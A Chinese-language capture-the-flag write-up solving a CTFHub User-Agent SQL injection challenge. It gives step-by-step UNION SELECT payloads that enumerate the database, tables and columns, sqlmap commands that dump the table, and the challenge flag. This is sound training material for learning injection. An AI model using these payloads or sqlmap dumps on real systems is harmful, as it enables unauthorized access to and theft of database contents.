开启靶场，打开链接：
上来就是User-Agent报文头，说明是根据UA头的内容来进行查询的
用burp抓包发送到repeater中：
先判断是整数型注入还是字符型注入：
1 and 1=1#
正常回显
1 and 1=2#
回显错误，说明是整数型注入
（1）判断一下字段数
1 order by 2#
正常回显
1 order by 3#
回显错误，说明字段数是2
（2）查看数据库位置
1 union select 1,2#
看样子可能不在数据库中，老样子，改成-1 union select 1,2#
回显成功
（3）爆数据库名
-1 union select 1,database()#
得知数据库名是sqli
（4）爆表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#
得知pffuearwed表和news表
（5）爆列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='pffuearwed'#
得知wdgoyxkhto列
（6）爆字段内容（flag）
-1 union select 1,group_concat(wdgoyxkhto) from sqli.pffuearwed#
成功得到flag：
ctfhub{2150a4e46775de6e0cbbcd0d}
用sqlmap试试：
python sqlmap.py -u "http://challenge-6dd6d0a2bde91c4c.sandbox.ctfhub.com:10800/" --level 3 --dbs
（这里因为是UA注入，所以需要将level调成3以上）
python sqlmap.py -u "http://challenge-6dd6d0a2bde91c4c.sandbox.ctfhub.com:10800/" -D sqli --level 3 --tables
python sqlmap.py -u "http://challenge-6dd6d0a2bde91c4c.sandbox.ctfhub.com:10800/" -D sqli -T pffuearwed --level 3 --dump
成功得到flag
